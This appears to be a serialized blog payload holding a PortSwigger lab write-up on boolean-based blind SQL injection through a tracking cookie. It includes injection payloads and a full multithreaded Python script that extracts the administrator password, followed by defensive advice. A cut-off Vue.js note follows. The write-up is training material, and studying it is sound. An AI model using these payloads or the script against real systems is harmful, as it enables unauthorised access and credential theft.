[{"data":1,"prerenderedAt":1962},["ShallowReactive",2],{"page-en-\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses":3,"recent-en":647,"posts-en-pentesting":1545},{"id":4,"title":5,"author":6,"body":7,"date":632,"description":633,"extension":634,"image":635,"meta":636,"navigation":138,"path":637,"seo":638,"sitemap":639,"stem":640,"tags":641,"__hash__":646},"content_en\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Blind SQL Injection with Conditional Responses (PortSwigger Lab)","apsyleg",{"type":8,"value":9,"toc":621},"minimark",[10,15,20,28,48,52,78,82,89,92,102,109,112,152,155,159,164,171,180,191,195,201,216,219,223,230,571,577,588,592,595,600,617],[11,12,14],"h1",{"id":13},"blind-sql-injection-with-conditional-responses","Blind SQL Injection with Conditional Responses",[16,17,19],"h2",{"id":18},"vulnerability","Vulnerability",[21,22,23,27],"p",{},[24,25,26],"strong",{},"Blind SQL injection"," is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.",[21,29,30,31,34,35,39,40,43,44,47],{},"In this variant (",[24,32,33],{},"boolean-based blind SQLi","), the application returns different content depending on whether the injected condition evaluates to ",[36,37,38],"code",{},"TRUE"," or ",[36,41,42],{},"FALSE",". By crafting conditions like ",[36,45,46],{},"SUBSTRING(password, 1, 1) = 'a'",", an attacker can extract data one character at a time.",[16,49,51],{"id":50},"lab","Lab",[21,53,54,57,58,65,68,71,72,74,77],{},[24,55,56],{},"Name:"," ",[59,60,64],"a",{"href":61,"rel":62},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[63],"nofollow","Blind SQL injection with conditional responses",[66,67],"br",{},[24,69,70],{},"Difficulty:"," Practitioner",[66,73],{},[24,75,76],{},"Goal:"," Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.",[16,79,81],{"id":80},"reconnaissance","Reconnaissance",[21,83,84,85,88],{},"The application stores a ",[36,86,87],{},"TrackingId"," cookie that is used in an SQL query. The query result is never displayed, but a \"Welcome back!\" message appears on the page when the query returns at least one row.",[21,90,91],{},"First, we confirm the injection point by appending a quote:",[93,94,99],"pre",{"className":95,"code":97,"language":98},[96],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[36,100,97],{"__ignoreMap":101},"",[21,103,104,105,108],{},"The \"Welcome back!\" message still appears — the comment ",[36,106,107],{},"--"," neutralizes the rest of the original query, so the injection is active.",[21,110,111],{},"Next, we verify boolean behavior:",[93,113,117],{"className":114,"code":115,"language":116,"meta":101,"style":101},"language-sql shiki shiki-themes github-light github-dark","-- TRUE condition → \"Welcome back!\" appears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- FALSE condition → \"Welcome back!\" disappears\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[36,118,119,127,133,140,146],{"__ignoreMap":101},[120,121,124],"span",{"class":122,"line":123},"line",1,[120,125,126],{},"-- TRUE condition → \"Welcome back!\" appears\n",[120,128,130],{"class":122,"line":129},2,[120,131,132],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[120,134,136],{"class":122,"line":135},3,[120,137,139],{"emptyLinePlaceholder":138},true,"\n",[120,141,143],{"class":122,"line":142},4,[120,144,145],{},"-- FALSE condition → \"Welcome back!\" disappears\n",[120,147,149],{"class":122,"line":148},5,[120,150,151],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[21,153,154],{},"We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.",[16,156,158],{"id":157},"exploitation","Exploitation",[160,161,163],"h3",{"id":162},"step-1-determine-password-length","Step 1 — Determine password length",[21,165,166,167,170],{},"We use ",[36,168,169],{},"LENGTH()"," to find how many characters the administrator's password has:",[93,172,174],{"className":114,"code":173,"language":116,"meta":101,"style":101},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[36,175,176],{"__ignoreMap":101},[120,177,178],{"class":122,"line":123},[120,179,173],{},[21,181,182,183,186,187,190],{},"\"Welcome back!\" appears at ",[36,184,185],{},"= 20"," — the password is ",[24,188,189],{},"20 characters long",".",[160,192,194],{"id":193},"step-2-extract-characters","Step 2 — Extract characters",[21,196,166,197,200],{},[36,198,199],{},"SUBSTRING(string, position, length)"," to test one character at a time:",[93,202,204],{"className":114,"code":203,"language":116,"meta":101,"style":101},"-- Is the 1st character 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[36,205,206,211],{"__ignoreMap":101},[120,207,208],{"class":122,"line":123},[120,209,210],{},"-- Is the 1st character 'w'?\n",[120,212,213],{"class":122,"line":129},[120,214,215],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[21,217,218],{},"Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.",[160,220,222],{"id":221},"step-3-automate-with-python","Step 3 — Automate with Python",[21,224,225,226,229],{},"The script uses ",[36,227,228],{},"ThreadPoolExecutor"," to run 10 requests in parallel, dramatically reducing extraction time:",[93,231,235],{"className":232,"code":233,"language":234,"meta":101,"style":101},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Determining password length...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Password length: {n}\")\n            return n\n    raise ValueError(f\"Password length not found within {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Password: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[36,236,237,242,247,252,256,261,267,273,279,284,290,296,302,307,312,318,324,330,336,342,347,352,358,364,370,376,382,388,394,400,405,410,416,422,428,433,439,445,450,455,461,467,473,479,485,491,497,503,509,515,520,525,531,537,543,549,554,559,565],{"__ignoreMap":101},[120,238,239],{"class":122,"line":123},[120,240,241],{},"import requests\n",[120,243,244],{"class":122,"line":129},[120,245,246],{},"import string\n",[120,248,249],{"class":122,"line":135},[120,250,251],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[120,253,254],{"class":122,"line":142},[120,255,139],{"emptyLinePlaceholder":138},[120,257,258],{"class":122,"line":148},[120,259,260],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[120,262,264],{"class":122,"line":263},6,[120,265,266],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[120,268,270],{"class":122,"line":269},7,[120,271,272],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[120,274,276],{"class":122,"line":275},8,[120,277,278],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[120,280,282],{"class":122,"line":281},9,[120,283,139],{"emptyLinePlaceholder":138},[120,285,287],{"class":122,"line":286},10,[120,288,289],{},"CHARSET = string.ascii_lowercase + string.digits\n",[120,291,293],{"class":122,"line":292},11,[120,294,295],{},"MAX_LENGTH = 30\n",[120,297,299],{"class":122,"line":298},12,[120,300,301],{},"THREADS = 10\n",[120,303,305],{"class":122,"line":304},13,[120,306,139],{"emptyLinePlaceholder":138},[120,308,310],{"class":122,"line":309},14,[120,311,139],{"emptyLinePlaceholder":138},[120,313,315],{"class":122,"line":314},15,[120,316,317],{},"def check(sql_condition: str) -> bool:\n",[120,319,321],{"class":122,"line":320},16,[120,322,323],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[120,325,327],{"class":122,"line":326},17,[120,328,329],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[120,331,333],{"class":122,"line":332},18,[120,334,335],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[120,337,339],{"class":122,"line":338},19,[120,340,341],{},"    return \"Welcome back\" in r.text\n",[120,343,345],{"class":122,"line":344},20,[120,346,139],{"emptyLinePlaceholder":138},[120,348,350],{"class":122,"line":349},21,[120,351,139],{"emptyLinePlaceholder":138},[120,353,355],{"class":122,"line":354},22,[120,356,357],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[120,359,361],{"class":122,"line":360},23,[120,362,363],{},"    print(\"[*] Determining password length...\")\n",[120,365,367],{"class":122,"line":366},24,[120,368,369],{},"    for n in range(1, max_len + 1):\n",[120,371,373],{"class":122,"line":372},25,[120,374,375],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[120,377,379],{"class":122,"line":378},26,[120,380,381],{},"        if check(condition):\n",[120,383,385],{"class":122,"line":384},27,[120,386,387],{},"            print(f\"[+] Password length: {n}\")\n",[120,389,391],{"class":122,"line":390},28,[120,392,393],{},"            return n\n",[120,395,397],{"class":122,"line":396},29,[120,398,399],{},"    raise ValueError(f\"Password length not found within {max_len}\")\n",[120,401,403],{"class":122,"line":402},30,[120,404,139],{"emptyLinePlaceholder":138},[120,406,408],{"class":122,"line":407},31,[120,409,139],{"emptyLinePlaceholder":138},[120,411,413],{"class":122,"line":412},32,[120,414,415],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[120,417,419],{"class":122,"line":418},33,[120,420,421],{},"    for c in CHARSET:\n",[120,423,425],{"class":122,"line":424},34,[120,426,427],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[120,429,431],{"class":122,"line":430},35,[120,432,381],{},[120,434,436],{"class":122,"line":435},36,[120,437,438],{},"            return pos, c\n",[120,440,442],{"class":122,"line":441},37,[120,443,444],{},"    return pos, \"?\"\n",[120,446,448],{"class":122,"line":447},38,[120,449,139],{"emptyLinePlaceholder":138},[120,451,453],{"class":122,"line":452},39,[120,454,139],{"emptyLinePlaceholder":138},[120,456,458],{"class":122,"line":457},40,[120,459,460],{},"def get_password(length: int) -> str:\n",[120,462,464],{"class":122,"line":463},41,[120,465,466],{},"    print(f\"[*] Brute-forcing {length} characters with {THREADS} threads...\")\n",[120,468,470],{"class":122,"line":469},42,[120,471,472],{},"    password = [\"?\"] * length\n",[120,474,476],{"class":122,"line":475},43,[120,477,478],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[120,480,482],{"class":122,"line":481},44,[120,483,484],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[120,486,488],{"class":122,"line":487},45,[120,489,490],{},"        for future in as_completed(futures):\n",[120,492,494],{"class":122,"line":493},46,[120,495,496],{},"            pos, char = future.result()\n",[120,498,500],{"class":122,"line":499},47,[120,501,502],{},"            password[pos - 1] = char\n",[120,504,506],{"class":122,"line":505},48,[120,507,508],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[120,510,512],{"class":122,"line":511},49,[120,513,514],{},"    return \"\".join(password)\n",[120,516,518],{"class":122,"line":517},50,[120,519,139],{"emptyLinePlaceholder":138},[120,521,523],{"class":122,"line":522},51,[120,524,139],{"emptyLinePlaceholder":138},[120,526,528],{"class":122,"line":527},52,[120,529,530],{},"def main():\n",[120,532,534],{"class":122,"line":533},53,[120,535,536],{},"    length = get_password_length()\n",[120,538,540],{"class":122,"line":539},54,[120,541,542],{},"    password = get_password(length)\n",[120,544,546],{"class":122,"line":545},55,[120,547,548],{},"    print(f\"\\n[+] Password: {password}\")\n",[120,550,552],{"class":122,"line":551},56,[120,553,139],{"emptyLinePlaceholder":138},[120,555,557],{"class":122,"line":556},57,[120,558,139],{"emptyLinePlaceholder":138},[120,560,562],{"class":122,"line":561},58,[120,563,564],{},"if __name__ == \"__main__\":\n",[120,566,568],{"class":122,"line":567},59,[120,569,570],{},"    main()\n",[21,572,573,574],{},"Result: ",[36,575,576],{},"wfa3n32o7a6mb4xon7d6",[21,578,579,580,583,584,587],{},"Log in to ",[36,581,582],{},"\u002Fmy-account"," as ",[36,585,586],{},"administrator"," with this password — lab solved.",[16,589,591],{"id":590},"conclusion","Conclusion",[21,593,594],{},"Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present \u002F absent) is enough to extract the entire database.",[21,596,597],{},[24,598,599],{},"How to defend:",[601,602,603,607,610],"ul",{},[604,605,606],"li",{},"Use parameterized queries (prepared statements) — they eliminate injection entirely",[604,608,609],{},"Never concatenate user input directly into SQL strings",[604,611,612,613,616],{},"Apply least privilege to database accounts — the web app user should not have access to the ",[36,614,615],{},"users"," table",[618,619,620],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":101,"searchDepth":129,"depth":129,"links":622},[623,624,625,626,631],{"id":18,"depth":129,"text":19},{"id":50,"depth":129,"text":51},{"id":80,"depth":129,"text":81},{"id":157,"depth":129,"text":158,"children":627},[628,629,630],{"id":162,"depth":135,"text":163},{"id":193,"depth":135,"text":194},{"id":221,"depth":135,"text":222},{"id":590,"depth":129,"text":591},"2026-03-28","How to exploit blind SQL injection via a tracking cookie using boolean-based inference and a multithreaded Python script.","md",null,{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":5,"description":633},{"loc":637},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[642,643,644,645],"portswigger","sql-injection","blind-sqli","web-security","xjqLMT0ON2Iphb3NwOgTkgmjGcHATsLRPcyMBeD0IF4",[648,1064,1366,1417],{"id":4,"title":5,"author":6,"body":649,"date":632,"description":633,"extension":634,"image":635,"meta":1060,"navigation":138,"path":637,"seo":1061,"sitemap":1062,"stem":640,"tags":1063,"__hash__":646},{"type":8,"value":650,"toc":1049},[651,653,655,659,669,671,686,688,692,694,699,703,705,729,731,733,735,739,747,753,755,759,771,773,775,779,1019,1023,1029,1031,1033,1037,1047],[11,652,14],{"id":13},[16,654,19],{"id":18},[21,656,657,27],{},[24,658,26],{},[21,660,30,661,34,663,39,665,43,667,47],{},[24,662,33],{},[36,664,38],{},[36,666,42],{},[36,668,46],{},[16,670,51],{"id":50},[21,672,673,57,675,678,680,71,682,684,77],{},[24,674,56],{},[59,676,64],{"href":61,"rel":677},[63],[66,679],{},[24,681,70],{},[66,683],{},[24,685,76],{},[16,687,81],{"id":80},[21,689,84,690,88],{},[36,691,87],{},[21,693,91],{},[93,695,697],{"className":696,"code":97,"language":98},[96],[36,698,97],{"__ignoreMap":101},[21,700,104,701,108],{},[36,702,107],{},[21,704,111],{},[93,706,707],{"className":114,"code":115,"language":116,"meta":101,"style":101},[36,708,709,713,717,721,725],{"__ignoreMap":101},[120,710,711],{"class":122,"line":123},[120,712,126],{},[120,714,715],{"class":122,"line":129},[120,716,132],{},[120,718,719],{"class":122,"line":135},[120,720,139],{"emptyLinePlaceholder":138},[120,722,723],{"class":122,"line":142},[120,724,145],{},[120,726,727],{"class":122,"line":148},[120,728,151],{},[21,730,154],{},[16,732,158],{"id":157},[160,734,163],{"id":162},[21,736,166,737,170],{},[36,738,169],{},[93,740,741],{"className":114,"code":173,"language":116,"meta":101,"style":101},[36,742,743],{"__ignoreMap":101},[120,744,745],{"class":122,"line":123},[120,746,173],{},[21,748,182,749,186,751,190],{},[36,750,185],{},[24,752,189],{},[160,754,194],{"id":193},[21,756,166,757,200],{},[36,758,199],{},[93,760,761],{"className":114,"code":203,"language":116,"meta":101,"style":101},[36,762,763,767],{"__ignoreMap":101},[120,764,765],{"class":122,"line":123},[120,766,210],{},[120,768,769],{"class":122,"line":129},[120,770,215],{},[21,772,218],{},[160,774,222],{"id":221},[21,776,225,777,229],{},[36,778,228],{},[93,780,781],{"className":232,"code":233,"language":234,"meta":101,"style":101},[36,782,783,787,791,795,799,803,807,811,815,819,823,827,831,835,839,843,847,851,855,859,863,867,871,875,879,883,887,891,895,899,903,907,911,915,919,923,927,931,935,939,943,947,951,955,959,963,967,971,975,979,983,987,991,995,999,1003,1007,1011,1015],{"__ignoreMap":101},[120,784,785],{"class":122,"line":123},[120,786,241],{},[120,788,789],{"class":122,"line":129},[120,790,246],{},[120,792,793],{"class":122,"line":135},[120,794,251],{},[120,796,797],{"class":122,"line":142},[120,798,139],{"emptyLinePlaceholder":138},[120,800,801],{"class":122,"line":148},[120,802,260],{},[120,804,805],{"class":122,"line":263},[120,806,266],{},[120,808,809],{"class":122,"line":269},[120,810,272],{},[120,812,813],{"class":122,"line":275},[120,814,278],{},[120,816,817],{"class":122,"line":281},[120,818,139],{"emptyLinePlaceholder":138},[120,820,821],{"class":122,"line":286},[120,822,289],{},[120,824,825],{"class":122,"line":292},[120,826,295],{},[120,828,829],{"class":122,"line":298},[120,830,301],{},[120,832,833],{"class":122,"line":304},[120,834,139],{"emptyLinePlaceholder":138},[120,836,837],{"class":122,"line":309},[120,838,139],{"emptyLinePlaceholder":138},[120,840,841],{"class":122,"line":314},[120,842,317],{},[120,844,845],{"class":122,"line":320},[120,846,323],{},[120,848,849],{"class":122,"line":326},[120,850,329],{},[120,852,853],{"class":122,"line":332},[120,854,335],{},[120,856,857],{"class":122,"line":338},[120,858,341],{},[120,860,861],{"class":122,"line":344},[120,862,139],{"emptyLinePlaceholder":138},[120,864,865],{"class":122,"line":349},[120,866,139],{"emptyLinePlaceholder":138},[120,868,869],{"class":122,"line":354},[120,870,357],{},[120,872,873],{"class":122,"line":360},[120,874,363],{},[120,876,877],{"class":122,"line":366},[120,878,369],{},[120,880,881],{"class":122,"line":372},[120,882,375],{},[120,884,885],{"class":122,"line":378},[120,886,381],{},[120,888,889],{"class":122,"line":384},[120,890,387],{},[120,892,893],{"class":122,"line":390},[120,894,393],{},[120,896,897],{"class":122,"line":396},[120,898,399],{},[120,900,901],{"class":122,"line":402},[120,902,139],{"emptyLinePlaceholder":138},[120,904,905],{"class":122,"line":407},[120,906,139],{"emptyLinePlaceholder":138},[120,908,909],{"class":122,"line":412},[120,910,415],{},[120,912,913],{"class":122,"line":418},[120,914,421],{},[120,916,917],{"class":122,"line":424},[120,918,427],{},[120,920,921],{"class":122,"line":430},[120,922,381],{},[120,924,925],{"class":122,"line":435},[120,926,438],{},[120,928,929],{"class":122,"line":441},[120,930,444],{},[120,932,933],{"class":122,"line":447},[120,934,139],{"emptyLinePlaceholder":138},[120,936,937],{"class":122,"line":452},[120,938,139],{"emptyLinePlaceholder":138},[120,940,941],{"class":122,"line":457},[120,942,460],{},[120,944,945],{"class":122,"line":463},[120,946,466],{},[120,948,949],{"class":122,"line":469},[120,950,472],{},[120,952,953],{"class":122,"line":475},[120,954,478],{},[120,956,957],{"class":122,"line":481},[120,958,484],{},[120,960,961],{"class":122,"line":487},[120,962,490],{},[120,964,965],{"class":122,"line":493},[120,966,496],{},[120,968,969],{"class":122,"line":499},[120,970,502],{},[120,972,973],{"class":122,"line":505},[120,974,508],{},[120,976,977],{"class":122,"line":511},[120,978,514],{},[120,980,981],{"class":122,"line":517},[120,982,139],{"emptyLinePlaceholder":138},[120,984,985],{"class":122,"line":522},[120,986,139],{"emptyLinePlaceholder":138},[120,988,989],{"class":122,"line":527},[120,990,530],{},[120,992,993],{"class":122,"line":533},[120,994,536],{},[120,996,997],{"class":122,"line":539},[120,998,542],{},[120,1000,1001],{"class":122,"line":545},[120,1002,548],{},[120,1004,1005],{"class":122,"line":551},[120,1006,139],{"emptyLinePlaceholder":138},[120,1008,1009],{"class":122,"line":556},[120,1010,139],{"emptyLinePlaceholder":138},[120,1012,1013],{"class":122,"line":561},[120,1014,564],{},[120,1016,1017],{"class":122,"line":567},[120,1018,570],{},[21,1020,573,1021],{},[36,1022,576],{},[21,1024,579,1025,583,1027,587],{},[36,1026,582],{},[36,1028,586],{},[16,1030,591],{"id":590},[21,1032,594],{},[21,1034,1035],{},[24,1036,599],{},[601,1038,1039,1041,1043],{},[604,1040,606],{},[604,1042,609],{},[604,1044,612,1045,616],{},[36,1046,615],{},[618,1048,620],{},{"title":101,"searchDepth":129,"depth":129,"links":1050},[1051,1052,1053,1054,1059],{"id":18,"depth":129,"text":19},{"id":50,"depth":129,"text":51},{"id":80,"depth":129,"text":81},{"id":157,"depth":129,"text":158,"children":1055},[1056,1057,1058],{"id":162,"depth":135,"text":163},{"id":193,"depth":135,"text":194},{"id":221,"depth":135,"text":222},{"id":590,"depth":129,"text":591},{},{"title":5,"description":633},{"loc":637},[642,643,644,645],{"id":1065,"title":1066,"author":1067,"body":1068,"date":1355,"description":1356,"extension":634,"image":635,"meta":1357,"navigation":138,"path":1358,"seo":1359,"sitemap":1360,"stem":1361,"tags":1362,"__hash__":1365},"content_en\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Creating component state like Options API using reactive()","Oleg Anuchin",{"type":8,"value":1069,"toc":1353},[1070,1073,1083,1094,1350],[11,1071,1066],{"id":1072},"creating-component-state-like-options-api-using-reactive",[21,1074,1075,1076,1079,1080,190],{},"In Options API we can use ",[36,1077,1078],{},"data()"," function to create a state for the component, then access it directly via ",[36,1081,1082],{},"this",[21,1084,1085,1086,1089,1090,1093],{},"Using ",[36,1087,1088],{},"reactive()"," from Composition API achieves the same pattern — much easier than using ",[36,1091,1092],{},"ref()"," for multiple state properties.",[93,1095,1099],{"className":1096,"code":1097,"language":1098,"meta":101,"style":101},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Price: {{ price }}\u003C\u002Fp>\n  \u003Cp>Quantity: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Total: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[36,1100,1101,1114,1130,1134,1145,1154,1172,1183,1191,1196,1200,1220,1234,1238,1242,1249,1260,1265,1270,1275,1280,1289,1293,1302,1316,1329,1342],{"__ignoreMap":101},[120,1102,1103,1107,1111],{"class":122,"line":123},[120,1104,1106],{"class":1105},"sVt8B","\u003C",[120,1108,1110],{"class":1109},"s9eBZ","script",[120,1112,1113],{"class":1105},">\n",[120,1115,1116,1120,1123,1126],{"class":122,"line":129},[120,1117,1119],{"class":1118},"szBVR","import",[120,1121,1122],{"class":1105}," { computed, reactive, toRefs } ",[120,1124,1125],{"class":1118},"from",[120,1127,1129],{"class":1128},"sZZnC"," 'vue'\n",[120,1131,1132],{"class":122,"line":135},[120,1133,139],{"emptyLinePlaceholder":138},[120,1135,1136,1139,1142],{"class":122,"line":142},[120,1137,1138],{"class":1118},"export",[120,1140,1141],{"class":1118}," default",[120,1143,1144],{"class":1105}," {\n",[120,1146,1147,1151],{"class":122,"line":148},[120,1148,1150],{"class":1149},"sScJk","  setup",[120,1152,1153],{"class":1105},"() {\n",[120,1155,1156,1159,1163,1166,1169],{"class":122,"line":263},[120,1157,1158],{"class":1118},"    const",[120,1160,1162],{"class":1161},"sj4cs"," state",[120,1164,1165],{"class":1118}," =",[120,1167,1168],{"class":1149}," reactive",[120,1170,1171],{"class":1105},"({\n",[120,1173,1174,1177,1180],{"class":122,"line":269},[120,1175,1176],{"class":1105},"      price: ",[120,1178,1179],{"class":1161},"2",[120,1181,1182],{"class":1105},",\n",[120,1184,1185,1188],{"class":122,"line":275},[120,1186,1187],{"class":1105},"      quantity: ",[120,1189,1190],{"class":1161},"5\n",[120,1192,1193],{"class":122,"line":281},[120,1194,1195],{"class":1105},"    })\n",[120,1197,1198],{"class":122,"line":286},[120,1199,139],{"emptyLinePlaceholder":138},[120,1201,1202,1204,1207,1209,1212,1215,1218],{"class":122,"line":292},[120,1203,1158],{"class":1118},[120,1205,1206],{"class":1161}," total",[120,1208,1165],{"class":1118},[120,1210,1211],{"class":1149}," computed",[120,1213,1214],{"class":1105},"(() ",[120,1216,1217],{"class":1118},"=>",[120,1219,1144],{"class":1105},[120,1221,1222,1225,1228,1231],{"class":122,"line":298},[120,1223,1224],{"class":1118},"      return",[120,1226,1227],{"class":1105}," state.price ",[120,1229,1230],{"class":1118},"*",[120,1232,1233],{"class":1105}," state.quantity\n",[120,1235,1236],{"class":122,"line":304},[120,1237,1195],{"class":1105},[120,1239,1240],{"class":122,"line":309},[120,1241,139],{"emptyLinePlaceholder":138},[120,1243,1244,1247],{"class":122,"line":314},[120,1245,1246],{"class":1118},"    return",[120,1248,1144],{"class":1105},[120,1250,1251,1254,1257],{"class":122,"line":320},[120,1252,1253],{"class":1118},"      ...",[120,1255,1256],{"class":1149},"toRefs",[120,1258,1259],{"class":1105},"(state),\n",[120,1261,1262],{"class":122,"line":326},[120,1263,1264],{"class":1105},"      total\n",[120,1266,1267],{"class":122,"line":332},[120,1268,1269],{"class":1105},"    }\n",[120,1271,1272],{"class":122,"line":338},[120,1273,1274],{"class":1105},"  }\n",[120,1276,1277],{"class":122,"line":344},[120,1278,1279],{"class":1105},"}\n",[120,1281,1282,1285,1287],{"class":122,"line":349},[120,1283,1284],{"class":1105},"\u003C\u002F",[120,1286,1110],{"class":1109},[120,1288,1113],{"class":1105},[120,1290,1291],{"class":122,"line":354},[120,1292,139],{"emptyLinePlaceholder":138},[120,1294,1295,1297,1300],{"class":122,"line":360},[120,1296,1106],{"class":1105},[120,1298,1299],{"class":1109},"template",[120,1301,1113],{"class":1105},[120,1303,1304,1307,1309,1312,1314],{"class":122,"line":366},[120,1305,1306],{"class":1105},"  \u003C",[120,1308,21],{"class":1109},[120,1310,1311],{"class":1105},">Price: {{ price }}\u003C\u002F",[120,1313,21],{"class":1109},[120,1315,1113],{"class":1105},[120,1317,1318,1320,1322,1325,1327],{"class":122,"line":372},[120,1319,1306],{"class":1105},[120,1321,21],{"class":1109},[120,1323,1324],{"class":1105},">Quantity: {{ quantity }}\u003C\u002F",[120,1326,21],{"class":1109},[120,1328,1113],{"class":1105},[120,1330,1331,1333,1335,1338,1340],{"class":122,"line":378},[120,1332,1306],{"class":1105},[120,1334,21],{"class":1109},[120,1336,1337],{"class":1105},">Total: {{ total }}\u003C\u002F",[120,1339,21],{"class":1109},[120,1341,1113],{"class":1105},[120,1343,1344,1346,1348],{"class":122,"line":384},[120,1345,1284],{"class":1105},[120,1347,1299],{"class":1109},[120,1349,1113],{"class":1105},[618,1351,1352],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: 